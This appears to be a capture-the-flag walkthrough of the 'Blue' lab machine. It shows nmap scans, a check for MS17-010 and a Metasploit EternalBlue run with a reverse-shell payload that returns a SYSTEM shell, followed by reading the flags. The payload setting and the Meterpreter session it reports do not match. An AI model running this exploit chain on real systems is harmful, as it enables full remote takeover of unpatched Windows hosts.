Blue

1
2
3
4
5

$ nmap -sC -sV -oN nmap/blue.txt 10.10.10.40
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Ultimate 7601 SP1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

$ nmap --script smb-vuln-ms17-010 -p 445 10.10.10.40

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     Risk factor: HIGH
|     Description:
|       IPC Request exploiting MS17-010 (EternalBlue)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 10.10.10.40
msf6 exploit > set PAYLOAD windows/x64/shell/reverse_tcp
msf6 exploit > set LHOST tun0
msf6 exploit > run

[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer  : HARIS-PC
OS        : Windows 7 (6.1 Build 7601, Service Pack 1)

1
2
3
4
5
6
7
8
9

meterpreter > shell
C:\> whoami
nt authority\system

C:\> type C:\Users\haris\Desktop\user.txt
4c546ebb4f771a7b...

C:\> type C:\Users\Administrator\Desktop\root.txt
ff548eb71e920ff6...